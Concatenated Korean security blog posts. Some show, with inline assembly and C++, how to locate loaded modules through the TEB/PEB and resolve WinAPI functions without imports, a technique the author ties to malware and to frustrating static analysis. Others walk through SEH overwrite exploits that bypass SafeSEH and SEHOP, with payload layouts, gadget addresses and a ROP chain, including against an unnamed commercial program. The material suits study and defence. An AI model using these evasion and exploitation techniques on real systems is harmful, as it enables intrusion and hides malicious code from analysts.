그렇게 받아온 모듈을 파싱하여 IMAGE_DOS_HEADER에서 IMAGE_NT_HEADER를 찾아내어 마찬가지로 PIMAGE_NT_HEADER형으로 받아줍니다.


1
2
3
4
    // 3. Parse Module - Export Table
    PIMAGE_EXPORT_DIRECTORY pIED = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)ntdllBase + peSignature->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    DWORD sizeofIED = peSignature->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    printf("[+] Export Table : 0x%08x, Size : 0x%08x\n", (DWORD)pIED, sizeofIED);


 DLL 파일이므로 Export Table에 제공하는 API의 이름 및 RVA가 작성되어 있을 것입니다. 이를 얻어오기 위해 우선 Export Table을 가져옵니다. 딱히 쓰지는 않지만 가져오는김에 Export Table의 크기도 구해봤습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    // 4. Find LdrGetProcedureAddress Function
    PDWORD funcAddresses      = (PDWORD)((PBYTE)ntdllBase + pIED->AddressOfFunctions);
    PDWORD funcNames          = (PDWORD)((PBYTE)ntdllBase + pIED->AddressOfNames);
    PWORD  funcOrdinals       = (PWORD)((PBYTE)ntdllBase + pIED->AddressOfNameOrdinals);
    void(__stdcall *pLdrGetProcedureAddress)(HMODULE, PANSI_STRING, DWORD, PVOID) = nullptr;
    for (unsigned int i = 0; i < pIED->NumberOfFunctions; i++)
    {
        if (!strcmp("LdrGetProcedureAddress", (char *)((PBYTE)ntdllBase + funcNames[i]))) 
        {
            pLdrGetProcedureAddress = (void(__stdcall *)(HMODULE, PANSI_STRING, DWORD, PVOID))((PBYTE)ntdllBase + funcAddresses[funcOrdinals[i]]);
            break;
        }
    }
    if (pLdrGetProcedureAddress == nullptr)
    {
        printf("[-] Failed to find LdrGetProcedureAddress\n");
        return -1;
    }
    printf("[+] LdrGetProcedureAddress : 0x%08x\n", (DWORD)pLdrGetProcedureAddress);


 그렇게 파싱한 Export Table 내부에서 LdrGetProcedureAddress 함수를 찾아 만들어둔 함수 포인터에 저장합니다. Export Table 파싱은 여기를 참고하였습니다. 

 함수 포인터에 __stdcall을 붙인 이유는 VS 기본 설정상 함수 호출 규약(Calling Convention)이 __cdecl로 설정되어 있지만 WinAPI의 경우 __stdcall을 사용하기 때문입니다. 이를 지정하지 않을 경우 스택 정리가 엉망이 되어 가져온 함수를 호출하고 난 이후가 정상 작동하지 않습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    // 5. Find Functions With LdrGetProcedureAddress
    HMODULE hKernel32 = (HMODULE)GetBaseAddress(L"kernel32.dll");
    if (hKernel32 == nullptr)
    {
        printf("[-] Can't find kernel32.dll\n");
        return -1;
    }
    printf("[+] kernel32.dll : 0x%08x\n", (DWORD)hKernel32);
 
    ANSI_STRING targetFunction;
    RtlInitAnsiString(&targetFunction, "CreateFileA");
    HANDLE(__stdcall *pCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE) = nullptr;
    pLdrGetProcedureAddress(hKernel32, &targetFunction, 0&pCreateFileA);
    printf("[+] CreateFileA : 0x%p\n", pCreateFileA);
 
    RtlInitAnsiString(&targetFunction, "WriteFile");
    BOOL(__stdcall *pWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED) = nullptr;
    pLdrGetProcedureAddress(hKernel32, &targetFunction, 0&pWriteFile);
    printf("[+] WriteFile : 0x%p\n", pWriteFile);
 
    RtlInitAnsiString(&targetFunction, "CloseHandle");
    BOOL(__stdcall *pCloseHandle)(HANDLE) = nullptr;
    pLdrGetProcedureAddress(hKernel32, &targetFunction, 0&pCloseHandle);
    printf("[+] CloseHandle : 0x%p\n", pCloseHandle);


 이제 위에서 구한 LdrGetProcedureAddress 함수 주소를 이용하여 원하는 함수의 주소를 찾아올 수 있습니다.

 LdrGetProcedureAddress는 첫번째 인자로 모듈 핸들, 두 번째 인자로 ANSI_STRING으로 만든 함수명, 세 번째는 Ordinal이라는 파라미터(이지만 0으로 넘김), 마지막에 결과를 전달받을 함수 포인터의 주소값을 넣으면 됩니다. 여기서 첫 번째 인자인 모듈 핸들의 경우, 사실 놀랍게도 HMODULE 타입은 모듈의 Base Address와 완전히 같은 값이기 때문에(https://stackoverflow.com/questions/9545732/what-is-hmodule) GetBaseAddress 함수의 결과를 HMODULE로 캐스팅하기만 하면 핸들로 사용할 수 있습니다. 이렇게 원하는 함수 주소를 구할 수 있습니다.


1
2
3
4
5
    // 6. Use Functions
    DWORD Length = 0;
    HANDLE hFile = pCreateFileA("Test.txt", GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    pWriteFile(hFile, "PEB Test String"15&Length, NULL);
    pCloseHandle(hFile);


 마지막으로 그렇게 받아온 함수를 사용하기만 하면 됩니다. 저는 CreateFileA / WriteFile / CloseHandle을 가져와서 테스트용 텍스트 파일을 만들고, 쓰고, 정상적으로 닫는 작업까지 진행해 봤습니다.


[그림 2. 프로그램 실행 결과]

 결과는 위와 같이, 정상적으로 텍스트 파일이 만들어졌습니다.


[그림 3. IAT]

 위는 빌드한 파일의 IAT입니다. kernel32.dll 내부에서 임포트하는 함수 중 어딜 봐도 GetProcAddress나 CreateFileA, WriteFile, CloseHandle은 없는 것을 볼 수 있습니다. 이제 함수명과 위 루틴들을 조금만 난독화하면 분석가들이 정적으로 분석하기 무척 까다로워지는 환경을 만들 수 있겠습니다. :)

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

Tag PEB, tib

댓글을 달아 주세요

 최근 악성코드를 분석해 보던 중, IAT에 Import하는 함수가 하나도 없는데 WinAPI를 자유자재로 사용하는 것을 보고 방법이 궁금해져서 공부한 내용을 작성하기로 했습니다. 여기서는 TIB, PEB를 이용해 API를 사용하지 않고 현재 로드된 모듈의 핸들을 가져오는 방법에 대해서 알아보겠습니다. 이후 추가로 글을 작성하여 자신이 원하는 WinAPI의 주소를 가져오는 방법까지 알아보겠습니다.


 API 없이 로드된 정보를 가져오기 위해서는 우선 TIB에 대하여 알아 두어야 합니다.

 TIB(Thread Information Block)는 현재 실행 중인 Thread에 대한 정보를 저장하고 있는 자료 구조이며, TEB(Thread Environment Block)이라고도 합니다. TIB의 경우 SEH Overwrite를 공부하면서 몇번 본 적이 있습니다. (SEH Overwrite : http://5kyc1ad.tistory.com/308)

 이 TIB의 주소는 x86 환경에서 FS 레지스터에 저장되며, 구조는 다음과 같습니다.


[그림 1. Thread Information Block (출처)]


 특이하게도 FS 자체에 TIB의 주소가 담겨 있는데,  FS:[0x18]에 TIB(또는 Thread Environment Block)의 주소가 또 존재하는 것을 볼 수 있습니다. 여기서도 그렇게 할 것이지만, 보통 TIB의 멤버에 접근할 때는 FS:[0x18]을 한번 거쳐 TIB의 주소를 얻고 거기에서 offset을 이용하여 접근합니다. 예를 들어 TIB + 0x30에 위치한 PEB에 접근하고 싶은 경우, 단순히 FS:[0x30]을 하는 것이 아닌 *(FS:[0x18] + 0x30) 이렇게 접근하는 것입니다. 이렇게 하는 이유는 차후 FS가 가리키는 구조체가 TIB가 아닌 다른 구조체로 변경된다고 하더라도 해당 구조체의 0x18 Offset에 TIB의 주소를 넣어주기만 하면 기존의 코드도 정상 동작할 수 있기 때문입니다(간단히 말하면 호환성을 높이기 위해서입니다). 모듈 정보를 얻기 위해서는 PEB가 필요하므로 이렇게 얻은 PEB를 이용하여 계속 진행하겠습니다.

 - PEB 까지 *(FS:[0x18] + 0x30) 로 접근했습니다.


[그림 2. Process Environment Block ()]


 PEB(Process Environment Block)의 구조는 위와 같습니다. 여기서 사용할 멤버는 0x0C offset에 존재하는 Ldr 이라는 포인터 변수입니다. Ldr은 _PEB_LDR_DATA라는 struct를 가리키는 포인터로, 현재 프로세스에서 로드한 모듈들에 대한 정보를 담고 있습니다.


 - Ldr 까지 (*(FS:[0x18] + 0x30) + 0x0C) 로 접근했습니다.


[그림 3. _PEB_LDR_DATA (출처)]


 _PEB_LDR_DATA는 위와 같은 구조이며, LIST_ENTRY 멤버 셋을 갖고 있는 것을 볼 수 있습니다. 이 LIST_ENTRY는 멤버로 Flink와 Blink를 가지는 순환 참조 리스트로, LDR_DATA_TABLE_ENTRY에서는 LIST_ENTRY를 struct의 멤버 변수로 사용하여 현재 사용중인 모듈에 대한 정보를 담은 LDR_DATA_TABLE_ENTRY들을 순환 참조 리스트로 연결하는 역할을 합니다. 

LDR_DATA_TABLE_ENTRY의 구조는 다음과 같습니다. 


[그림 4. LDR_DATA_TABLE_ENTRY (출처)]


 _PEB_LDR_DATA와 마찬가지로 LIST_ENTRY 구조체를 다른 이름으로 세 개 갖고 있는것을 볼 수 있는데, 이는 모듈의 로드된 순서, 메모리에 매핑된 순서, 초기화된 순서대로 각각 다른 순환 참조 리스트에 LDR_DATA_TABLE_ENTRY들을 저장하고 있기 때문입니다. 여기서, InInitializationOrderLinks의 경우 다른 LIST_ENTRY와 달리 첫 번째 LDR_DATA_TABLE_ENTRY가 아닌 두 번째 LDR_DATA_TABLE_ENTRY를 가리킨다고 합니다. (http://limjunyoung.tistory.com/186) 그래서 출력해보면 InInitializationOrderLinks만 출력되는 결과가 다릅니다.


[그림 5. 전체적인 연결 구조]


 그리고 각각의 LIST_ENTRY들은 같은 종류끼리 연결되어 있기 때문에, InLoadOrderLinks의 Flink나 Blink는 다음, 혹은 이전 노드의 InLoadOrderLinks를 가리키며, InMemoryOrderLinks나 InInitializationOrderLinks도 마찬가지가 됩니다. 이는 접근할 LDR_DATA_TABLE_ENTRY의 멤버 변수가 같더라도 어떤 LIST_ENTRY를 사용하느냐에 따라 Offset이 달라진다는 이야기입니다. 이해를 돕기 위해 아래 그림을 첨부하였습니다.


[그림 6. LDR_DATA_TABLE_ENTRY Offset]


 위 그림에서와 같이, InLoadOrderLinks를 사용하여 LDR_DATA_TABLE_ENTRY에 접근했을 때는 평범하게 LDR_DAT_TABLE_ENTRY에서의 멤버 변수 Offset을 사용하면 되지만, InMemoryOrderLinks나 InInitializationOrderLinks를 사용할 경우 각각 0x08, 0x10만큼의 Offset이 추가되기 때문에 그만큼을 뺀 Offset으로 접근해야 같은 멤버 변수로의 접근이 가능합니다. 위 이미지는 BaseDllName.Buffer 에 접근할 때, 어떤 LIST_ENTRY를 기준으로 하느냐에 따라서 Offset이 어떻게 달라지는지를 표현한 것입니다.


 마지막으로, 지금까지 정리한 내용을 이용하여 현재 로드된 모듈의 BaseName을 출력하는 코드를 작성해 보았습니다.


main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <stdio.h>
 
int main()
{
    void *orgPtr = nullptr;
    void *curPtr = nullptr;
    // InLoadOrderLinks
    puts("[*] InLoadOrderLinks");
    __asm
    {
        mov eax, fs:[0x18]        // TIB
        mov eax, [eax + 0x30]    // TIB->PEB
        mov eax, [eax + 0x0C]     // PEB->Ldr
        lea ebx, [eax + 0x0C]    // Ldr->InLoadOrderLinks
        mov orgPtr, ebx            
    loadOrderLoop:
        mov edx, [ebx]            // InLoadOrderLinks->Flink
        mov curPtr, edx            
        mov edx, [edx + 0x30]   // LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
        test edx, edx
        je loadOrderFailed
        push edx
        call _putws                // Print module name
    loadOrderFailed:
        mov ebx, curPtr
        mov ebx, [ebx]
        mov edx, orgPtr
        cmp ebx, edx
        jne loadOrderLoop
    }
 
    // InMemoryOrderLinks
    puts("[*] InMemoryOrderLinks");
    __asm
    {
        mov eax, fs:[0x18]        // TIB
        mov eax, [eax + 0x30]    // TIB->PEB
        mov eax, [eax + 0x0C]     // PEB->Ldr
        lea ebx, [eax + 0x14]    // Ldr->InMemoryOrderLinks
        mov orgPtr, ebx
    memoryOrderLoop :
        mov edx, [ebx]            // InMemoryOrderLinks->Flink
        mov curPtr, edx
        mov edx, [edx + 0x28]   // LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
        test edx, edx
        je memoryOrderFailed
        push edx
        call _putws                // Print module name
    memoryOrderFailed:
        mov ebx, curPtr
        mov ebx, [ebx]
        mov edx, orgPtr
        cmp ebx, edx
        jne memoryOrderLoop
    }
 
    // InInitializationOrderLinks
    puts("[*] InInitializationOrderLinks");
    __asm
    {
        mov eax, fs:[0x18]        // TIB
        mov eax, [eax + 0x30]    // TIB->PEB
        mov eax, [eax + 0x0C]     // PEB->Ldr
        lea ebx, [eax + 0x1C]    // Ldr->InInitializationOrderLinks
        mov orgPtr, ebx
    InitOrderLoop:
        mov edx, [ebx]            // InInitializationOrderLinks->Flink
        mov curPtr, edx
        mov edx, [edx + 0x20]   // LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
        test edx, edx
        je InitOrderFailed
        push edx
        call _putws                // Print module name
    InitOrderFailed:
        mov ebx, curPtr
        mov ebx, [ebx]
        mov edx, orgPtr
        cmp ebx, edx
        jne InitOrderLoop
    }
    return 0;
}


 어떤 LIST_ENTRY를 사용하느냐에 따라 사용하는 Offset이 달라지는 모습을 볼 수 있습니다. 

프로그램의 실행 결과는 다음과 같습니다.



 이렇게 WinAPI를 전혀 사용하지 않고도 로드된 모듈에 대한 정보를 알아오는 데에 성공했습니다. 추후엔 이렇게 가져온 모듈 정보를 이용해 다른 API의 주소를 가져와 사용하는 방법에 대해 알아보겠습니다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

Tag PEB, tib

댓글을 달아 주세요


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

Tag CFG

댓글을 달아 주세요

( GS + SafeSEH 우회 익스플로잇 : http://5kyc1ad.tistory.com/312 )

SEH Overwrite에 대한 기초적인 내용은 http://5kyc1ad.tistory.com/308 여기와 위 링크를 참고하시기 바랍니다.

 

SEHOP : Linked-List 형태인 SEH 체인을 참조하여 마지막 SEHSEHRecord->pNextSEHRecord에는 0xFFFFFFFF, SEHRecord->pExceptionHandler에는 Ntdll!FinalExceptionHandler 함수 주소가 지정되어 있는지 확인하는 보호 기법.

 

 * 이하에서 익스플로잇에 사용한 프로그램에 스택 기반 BOF SEH Overwrite 취약점이 존재하지만 NULL을 입력할 수 없는 문제가 있어 실습을 위해 메모리에 직접 수정을 가해서 입력되었다는 가정 하에 익스플로잇 실습을 진행했습니다. 해당 프로그램은 위 ‘GS + SafeSEH 우회 익스플로잇에서 사용한 것과 동일합니다.


 

 

[정상적인 SEH 체인]

 

[비정상적인 SEH 체인]

 기존에 SafeSEH를 피해 SEH Overwrite를 했던 기법을 그대로 사용하면 pNextSEHRecordRelative Short JMPOPCode로 변조되어버리기 때문에 SEH 체인이 끊기고 SEHOP에 탐지되어 정상적으로 Exploit이 실행되지 않습니다.

 

GS + DEP + SafeSEH + SEHOP가 적용되어 있고 ASLR이 있다고 가정할 경우 공격 방법은 다음과 같습니다.

 

[덮어쓸 SEHRecord 주소와 값 확인]

 스택에서 덮어쓸 SEHRecord 주소와 pNextSEHRecord 값을 확인합니다. pNextSEHRecord 0x18FA90이며 바로 밑에 다음 SEHRecord가 있는 것을 볼 수 있습니다. SEH 체인을 끝까지 다 따라가면서 덮어씌워주기는 힘드므로 저 두 번째 체인을 0xFFFFFFFF Ntdll!FinalExceptionHandler 함수 주소로 변조하여 정상적으로 보이는 SEH 체인을 만들어야 합니다

 

[마지막 SEHRecord ]

 마지막 SEHRecord까지 계속 참조하여 Ntdll!FinalExceptinHandler 주소값이 0x772E7428인 것을 확인할 수 있습니다.

 여기까지를 페이로드로 작성하면 다음과 같습니다.

Dummy(0x54) + 0x18FA90 + ???? + Dummy(4) + 0xFFFFFFFF + 0x772E7428

 

[익셉션 발생 직후 Handler 함수]

 익셉션 발생으로 SEHRecord->pExceptionHandler가 호출된 직후의 ESP의 위치를 확인하기 위해 Handler 함수에 바로 BP를 걸고 강제로 익셉션을 발생시켜 ESP0x18F448에 위치하게 됨을 확인했습니다. 위에서 인위적으로 만든 종료 체인 이후 스택 주소가 0x18FA98 이므로 0x18FA98 - 0x18F448 = 0x650 이상 ESPPOP 또는 ADD ESP로 옮긴 후 ret을 해야 원하는 대로 ROP 체인 구성이 가능합니다.

 

[Ollydbg Search for All Sequences]

 해당하는 가젯을 찾기 위해 Ollydbg CPU 창에서 우클릭 -> Search for -> All Sequences 창을 열고 위와 같이 와일드카드 문자 CONSTR32를 이용하여 가젯을 검색했습니다. (pop 없이 해봤더니 적당한 가젯이 나오지 않았습니다)

 

[발견한 가젯]

 바이너리 내에서 해당 가젯을 찾아내었습니다. ADD ESP, 0x800 POP 1번 후 ret을 하므로 총 0x804만큼 ESP가 움직이게 됩니다. 0x650 - 0x804 = -0x1b4 이므로 총 0x1b4개만큼 Dummy를 추가로 넣은 후 적당한 함수 주소를 넣어 주면 ROP가 가능할 것으로 보입니다.

 

여기까지 페이로드는 다음과 같습니다.

Dummy(0x54) + 0x18FA90 + 0x452336 + Dummy(4) + 0xFFFFFFFF + 0x772E7428 + Dummy(0x1b4) + ROP Chain

 

[익스플로잇 스택 구조도]

 실제 스택 주소 기반으로 페이로드가 들어가 익스플로잇된 스택 구조를 그려봤습니다. 익셉션이 터지는 순간 익셉션 처리 과정에서 스택이 추가로 늘어나고 0x18F448ESP가 위치하게 됩니다. 이후 &GadgetpExceptionHandler 위치이므로 이 가젯을 실행하게 되는데 여기에는 ADD ESP, 0x800POP, ret이 있으므로 ROP Chain이 존재하는 0x18FC4C에서 ret을 하게 되고, ROP Chain이 실행되어 익스플로잇에 성공하게 될 것입니다. ROP Chain 위의 Dummy 부분은 어차피 말 그대로 Dummy이므로 그곳에 문자열을 넣고 간단히 MessageBox를 호출하도록 짜서 돌려봤습니다.

 

[Exploit 1]

 익셉션 발생하기 직전의 샘플, EAX0x90909090이 들어 있는데 포인터 참조하여 익셉션이 발생하려고 하고 있고 pExceptionHandler는 이미 0x452336으로 변조된 상황입니다.

 

[Exploit 2]

익셉션이 발생하고 0x452336BP에서 멈춘 상태. ESP0x18F448까지 내려갔고, ADD ESP, 800Pop이후 ret이 실행되므로 0x18FC4C의 값이 ret 될 것으로 예상 가능합니다.

 

[Exploit 3]

정확히 0x18FC4C의 값을 ret하며, 그 밑에 두번째 인자로 0x1B4 크기의 Dummy에 넣은 문자열 “Exploited!!”가 들어가는 것을 볼 수 있습니다.

 

[Exploit 4]

해당 함수는 MessageBoxA 함수였으며, 넣은 값 그대로 출력 후 종료됩니다. POP~RET 가젯도 찾아두었으니 여기에 라이브러리 함수를 연결해서 돌리기만 하면 ROP 체인을 계속 연결해 나갈 수 있겠습니다.

 ASLR이 걸려있지 않았기 때문에 주소값 넣는 데에 지장이 없었지만 ASLR까지 걸려있다면 주소를 Leak할 수 있는 취약점이 없는 이상 익스플로잇은 어려워 보입니다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

[스택 오버플로우를 발생시키는 memcpy 루틴]

 실제 SEH Overwrite 취약점이 존재하는 상용 프로그램을 분석했습니다. 프로그램 종류나 제품명은 공개하지 않겠습니다. 정확히는 SafeSEH밖에 걸려있지 않지만 여기서의 방법을 이용하면 설령 Stack Canary가 있더라도 우회가 가능하기 때문에 제목에는 두 미티게이션 모두 적어두었습니다.

 문자열을 입력받는 루틴에서 길이 체크를 하지 않아 스택 기반 오버플로우가 발생합니다. 현재 명령을 보면 rep movsd 으로 ESI의 값을 EDImemcpy하게 되는데, 이들은 각각 덤프 1 탭과 스택에 나타나 있습니다. ESI에는 오버플로우용 NOP Sled와 쉘코드, SEH Overwrite 코드가 Input으로 들어와 있고 EDI는 부모 함수의 스택 프레임 내부 주소값입니다.

 

[오버플로우 전]


[오버플로우 후]

 rep movsd 명령이 수행되고 위에서 설명한대로 SEH가 변조되었음을 볼 수 있습니다.

 

[익셉션 발생]

 부모 함수의 스택 프레임을 수정하여 오버플로우를 일으켰기 때문에 원래 있던 함수에서는 정상적으로 리턴되고, 직후 EBP-10의 값을 EAX에 넣고 EAX에 포인터 참조 연산을 수행합니다. 여기서 EBP – 10은 아까 rep movsd 명령에 의해 NOP으로 채워졌기 때문에 잘못된 포인터(0x90909090) 참조로 함수 에필로그 이전에 익셉션이 발생합니다.

 

[SEH Overwrite 실행 과정]

 이 글에서 설명할 때 사용했던 그림으로 살펴보면 pExceptionHandlerppr 가젯의 주소가 들어가 있고, pExceptionHandlerCall한 상태이므로 ESP는 스택 위쪽 어딘가에 있는 ret을 가리키고 있을 것입니다. ppr 가젯이 실행되면서 retExceptionRecordpop되고, EstablisherFrameret되는데 해당 주소는 pNextSEHRecord이고 여기에는 미리 넣어둔 Short JMPEB AC 가 있어 현재 주소에서 -82만큼 점프하게 됩니다. 이는 NOP Sled + Shellcode의 주소이고, 따라서 쉘코드가 정상적으로 실행됩니다.

 

[쉘코드 실행 성공]

 NOP Sled를 타고 내려와 계산기를 실행시키는 간단한 쉘코드가 실행된 모습입니다.


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요